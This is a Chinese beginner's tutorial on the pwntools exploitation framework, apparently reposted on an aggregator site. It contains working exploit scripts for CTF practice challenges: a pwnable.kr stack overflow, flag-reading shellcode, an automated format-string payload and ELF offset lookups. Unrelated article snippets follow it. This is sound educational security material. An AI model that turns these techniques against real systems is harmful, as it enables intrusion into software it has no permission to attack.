一步一步學pwntools(適合新手)

pwntools是一個二進制利用框架。官方文檔提供了詳細的api規范。然而目前并沒有一個很好的新手教程。因此我用了我過去的幾篇writeup。由于本文只是用來介紹pwntools使用方法,我不會過于詳細的講解各種二進制漏洞攻擊技術。

Pwntools的“Hello World”

棧溢出無疑是二進制攻擊的“Hello World”。這里,我們用pwnable.kr的bof來進行展示。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){char overflowme[32];printf("overflow me : ");gets(overflowme);    // smash me!if(key == 0xcafebabe){system("/bin/sh");}else{printf("Nah..\n");}
}
int main(int argc, char* argv[]){func(0xdeadbeef);return 0;
}

pwntools腳本:

from pwn import *
c = remote("pwnable.kr", 9000)
c.sendline("AAAA" * 13 + p32(0xcafebabe))
c.interactive()

源碼簡潔明了,我們只需要將key改寫成0xcafebabe。

現在我們重新看回pwntools腳本。第一行將pwntools提供的工具引入到我們的python上下文中。
remote("一個域名或者ip地址", 端口) 會連接到我們指定的地址及端口。 然后該函數會返回remote對象 (這里,我們將該對象保存到了變量 c). remote對象主要用來進行對遠程主機的輸入輸出. 它有如下幾個方法:

  • send(payload) 發送payload
  • sendline(payload)發送payload,并進行換行(末尾\n)
  • recvn(N) 接受 N(數字) 字符
  • recvline() 接收一行輸出
  • recvlines(N) 接收 N(數字) 行輸出
  • recvuntil(some_string)接收到 some_string 為止

在第三行中, p32() 可以讓我們轉換整數到小端序格式.p32轉換4字節. p64p16 則分別轉換 8 bit 和 2 bit 數字. c.sendline 將我們的payload發送到遠程主機. "AAAA" * 14是我們到key的偏移量. Pwntools不能自動運算偏移量,用戶需要自行計算。

最后,我們成功getshell了. 這時,你可能想發送命令進行交互. c.interactive()允許我們在終端里將命令傳送到遠程服務器. Pwntools 會自動接收輸出并回顯 .
在這里插入圖片描述

寫 Shellcode

下一題是pwnable.krasm. 你需要用ssh -p2222 asm@pwnable.kr并輸入密碼 guest 來查看可執行文件和源碼. 這里,我們只展示利用代碼:

from pwn import *p = process("./asm")
context.log_level = 'DEBUG'
gdb.attach(p)context(arch='amd64', os='linux')shellcode = shellcraft.amd64.pushstr("this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong")
shellcode += shellcraft.amd64.linux.open('rsp',0,0)
shellcode += shellcraft.amd64.linux.read('rax','rsp',0)
shellcode += shellcraft.amd64.linux.write(1, 'rsp', 100)p.recvuntil('shellcode: ')
p.send(asm(shellcode))
log.success(p.recvall())

我們這里用到了新的api: process(), contex.log_level, gdb.attach, 和 shellcraft.
processremote 類似.remote連接遠程主機, process則通過你聲明的二進制文件路徑在本地創建新的進程. 除了 I/O, process返回的對象可以通過 gdb.attach(p) 將進程attach到gdb上. Attach 之后, gdb 便可以調試該程序來 (設置 breakpoints, 查看 stack, 以及簡單的反匯編).
在這里插入圖片描述

提醒一下,如果你想在命令行中使用gdb.attach(), 便需要安裝并運行 tmux.

當我們想查看服務器輸出時,并不需要在每個recvline或者recvuntil前加 print. 當 context.log_level被設置為 "DEBUG" , 我們的輸入和服務器的輸出會被直接輸出.

shellcraft 是一個幫忙生成shellcode的類. 在我們的例子中, 我們 open 了一個文件并 read 文件到 stdout.

格式化漏洞自動化

我沒有找到一個比較容易做的格式化漏洞題目,所以干脆用了官方文檔的例子

from pwn import *
import tempfileprogram = tempfile.mktemp()
source  = program + ".c"
write(source, '''
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#define MEMORY_ADDRESS ((void*)0x11111000)
#define MEMORY_SIZE 1024
#define TARGET ((int *) 0x11111110)
int main(int argc, char const *argv[])
{char buff[1024];void *ptr = NULL;int *my_var = TARGET;ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);if(ptr != MEMORY_ADDRESS){perror("mmap");return EXIT_FAILURE;}*my_var = 0x41414141;write(1, &my_var, sizeof(int *));scanf("%s", buff);dprintf(2, buff);write(1, my_var, sizeof(int));return 0;
}''')
cmdline = ["gcc", source, "-Wno-format-security", "-m32", "-o", program]
process(cmdline).wait_for_close()
def exec_fmt(payload):p = process(program)p.sendline(payload)return p.recvall()autofmt = FmtStr(exec_fmt)
offset = autofmt.offset
p = process(program, stderr=PIPE)
addr = u32(p.recv(4))
payload = fmtstr_payload(offset, {addr: 0x1337babe})
p.sendline(payload)
print hex(unpack(p.recv(4)))

有了 FmtStr, 我們不用算偏移量算到瘋. 我們需要先構造一個可以接收我們輸入并返回格式化字符串輸出的函數. 接著,我們可以得到autofmt. 這個對象包含offset, 即算好的偏移量. fmtstr_payload(offset, {address: value})幫我們生成最后的payload. 第一個參數 offsetautofmt.offset 算好的即可. 然后, 我們需要聲明{address: value}來覆蓋address的內容成對應的value. 我們還可以同時改寫多個地址: {address1: value1, address2:value2,..., address: valueN}.

使用 ELF()

有些題目給了我們libc. 用 gdb> x function1?—?function2算偏移量太麻煩了, 因此有了 ELF.

from pwn import *e = ELF('./example_file')
print hex(e.address)  # 0x400000
print hex(e.symbols['write']) # 0x401680
print hex(e.got['write']) # 0x60b070
print hex(e.plt['write']) # 0x401680
offset = e.symbols['system'] - e.symbols['printf'] # calculate offset
binsh_address = next(e.search('/bin/sh\x00')) # find address which contains /bin/sh

process() 一樣, 我們只用將路徑給ELF(path) 即可分析 ELF.

我們有以下幾種方法操縱ELF:

  • symbols['a_function'] 找到 a_function 的地址
  • got['a_function'] 找到 a_function的 got
  • plt['a_function']找到 a_function 的 plt
  • next(e.search(“some_characters”))找到包含 some_characters(字符串,匯編代碼或者某個數值)的地址.

總結

Pwntools 是一套十分強大的工具. 在本文中, 我介紹了最常用的幾個api, 但 pwntools 還有很多其他強大的api,諸如 qemu, adb. 各位可通過官方文檔進行剩余的學習

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/380051.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/380051.shtml
英文地址,請注明出處:http://en.pswp.cn/news/380051.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

關于J2EE中死鎖問題的研究(1)

大多數重要的應用程序都涉及高度并發性和多個抽象層。并發性與資源爭用有關&#xff0c;并且是導致死鎖問題增多的因素之一。多個抽象層使隔離并修復死鎖環境的工作變得更加困難。 通常&#xff0c;當同時執行兩個或兩個以上的線程時&#xff0c;如果每個線程都占有一個資源并請…

python變量分配內存_Python | 聲明任何變量而不分配任何值

python變量分配內存Since, Python is a dynamic programming language so there is no need to declare such type of variable, it automatically declares when first time value assign in it. 由于Python是一種動態編程語言&#xff0c;因此無需聲明此類變量&#xff0c;它…

UVA 10004 - Bicoloring

模擬染色&#xff0c;因為只有兩種顏色&#xff0c;所以分別用 0、 1 代表這兩種顏色&#xff0c;然后從0開始深搜&#xff0c;如果 每個點都能染上色&#xff0c;且相鄰兩點的顏色不同&#xff0c;則符合要求。 #include<stdio.h>#include<string.h>#define MAXN …

標志寄存器:CF、PF、AF、ZF、SF、TF、DF、OF

注&#xff1a;下面說到的標志寄存器都是縮寫&#xff0c;C就是CF&#xff0c;其他也一樣 標志寄存器&#xff1a;C、P、A、Z、S、T、D、O的內容只會是0或1&#xff0c;0表示假&#xff0c;1表示真 O&#xff1a;溢出標志 一個寄存器如果存放的值超過所能表示的范圍&#xf…

揭秘:銷售人員26個致命弱點

銷售人員有許多積極的態度需要學習&#xff0c; 同時也有許多不良的習慣應該避免&#xff0c;以免影響個性及專業能力。仔細看看這些缺點&#xff0c;反省你自己&#xff0c;還需要改善的畫&#xff0c;直到你給自己一百分為止。找一位深知你的好 友&#xff0c;讓他誠實地給你…

Java——集合(練習題)

例題1&#xff1a;產生10個1~20之間的隨機數&#xff0c;要求隨機數不能重復 import java.util.HashSet; import java.util.Random; public class Test1 {/*** 產生10個1~20之間的隨機數&#xff0c;要求隨機數不能重復* * 分析&#xff1a;* 1,有Random類創建隨機數對象* 2&a…

模塊化 組件化 工程化_軟件工程中的模塊和軟件組件

模塊化 組件化 工程化The module in software is a small part of the software that is responsible for performing any kind of functionality. Sometimes, the term sub-program is also used to refer to the term module. 軟件中的模塊是軟件的一小部分&#xff0c;負責…

Firefox2狂占CPU解決辦法

https://images.cnblogs.com/cnblogs_com/Tisty/138006/o_firefox3.jpg 看了一下&#xff0c;不知道 "jpeg_free_large" 是干啥的&#xff0c;遂用 "Firefox jpeg_free_large" Google 一下&#xff0c;出來的一堆東西里有帖子說可能和 Apple 的 QuickTime …

PUSHAD和POPAD,以及PUSHA和POPA

PUSHAD PUSHAD也叫保護現場&#xff0c;就是把我們的寄存器壓入棧中 pushad是把eax&#xff0c;ecx&#xff0c;edx&#xff0c;ebx&#xff0c;esp、ebp&#xff0c;esi&#xff0c;edi依次壓入棧中&#xff0c;ESP會減少32&#xff0c;相當于&#xff1a; push eax push ec…

Java——n個數的全排列

例題&#xff1a; 輸入一串字符串&#xff0c;將該字符串中的字符元素進行全排列&#xff0c;然后&#xff0c;一串輸出結果。 例如&#xff1a; 輸入&#xff1a; ABCD 輸出&#xff1a; ABCD ABDC ACBD ACDB ADBC ADCB BACD BADC BCAD BCDA BDAC BDCA CABD CADB CBAD CBDA…

一段個性化stringgrid的代碼

需要注意的是 該段程序使用了 canvas。 procedure TW_CkbTaiZhang.KhLstDrawCell(Sender: TObject; ACol,ARow: Integer; Rect: TRect; State: TGridDrawState);begin if ARowkhlst.Row then with khlst.Canvas do //畫 cell 的邊框 begin Pen.Color : $00ff0000; …

dp 扔雞蛋_使用動態編程(DP)的雞蛋掉落問題

dp 扔雞蛋Problem statement: You are given N floor and K eggs. You have to minimize the number of times you have to drop the eggs to find the critical floor where critical floor means the floor beyond which eggs start to break. Assumptions of the problem: 問…

MOVSX和MOVZX

MOVSX 先符號擴展,再傳送 格式&#xff1a; MOVSX 操作數A &#xff0c;操作數B //操作數B的空間小于A比如說我們使用命令&#xff1a; movsx eax&#xff0c;bxbx是16位&#xff0c;eax是32位&#xff0c;傳值過程&#xff1a; 先用bx的符號位把eax高16填滿&#xff0c;b…

統計學習以及支持向量機的國內外基本比較重要的書

1、支持向量機導論&#xff0c;此書乃是SVM方面的經典著作&#xff0c; 該書的作者也是近年來SVM、kernel methods學術圈內的活躍學者&#xff0c;對于這些領域均有過重要的貢獻。這本書從“線性機器、核方法、統計學習理論、凸優化”四個方面揭示了SVM的內在機理 --利用核…

Java——集合(TreeSet)

package com.wsq.set; //這里進行調用Person()方法&#xff0c;要進行導包 import java.util.TreeSet; import com.wsq.bean.Person; public class Demo3_TreeSet { /*** TreeSet集合是用來對元素進行排序的&#xff0c;同樣它也可以保證元素的唯一* 當compareTo()方法返…

setmonth_日期setMonth()方法以及JavaScript中的示例

setmonthJavaScript日期setMonth()方法 (JavaScript Date setMonth() method) setMonth() method is a Date class method, it is used to set the month to the Date object with a valid month value (between 0 to 11. 0 for January, 1 for February and so on). setMonth(…

LEA與XCHG

LEA 格式&#xff1a; LEA 通用寄存器 內存地址功能&#xff1a;取地址命令 將內存地址賦值給寄存器 lea eax,dword ptr ds:[ecx0x16]dword 雙字 就是四個字節ptr pointer縮寫 即指針ds 數據段版寄存器[]里的數據是一個地址值&#xff0c;這個地址指向一個雙字型數據 將dwo…

分域名優化的時候要考慮備選IP的問題

我們在需要下載很多內容的時候&#xff0c;很容易想到做分域名的并發下載&#xff0c;給原來的服務器多分幾個域名&#xff0c;因為分不同的域名可能可以在瀏覽器中分到更多的下載進程&#xff0c;提高下載速度。 但是在做網絡應用的時候&#xff0c;我們的一個域名下面有的時候…

面試題-ASP 與 ASP.Net的區別?

比較簡潔的回答&#xff1a; 1.開發語言不同&#xff0c;ASP局限于用腳本語言來開發&#xff0c;而ASP.Net可以使用C#,VB.C等來開發。 2.運行機制不同&#xff0c;ASP是解釋運行的&#xff0c;執行效率較低。ASP.Net是編譯性的編程框架。 3.開發方式不同&#xff0c;ASP里前臺H…

Java——集合(輸入5個學生的信息按總分高低排序)

題目要求&#xff1a; 鍵盤錄入5個學生信息&#xff08;姓名&#xff0c;語文成績&#xff0c;數學成績&#xff0c;英語成績&#xff09;&#xff0c;按照總分從高到低輸出到控制臺 分析&#xff1a; 1&#xff0c;定義一個學生類 * 成員變量&#xff1a;姓名&#xff0c;…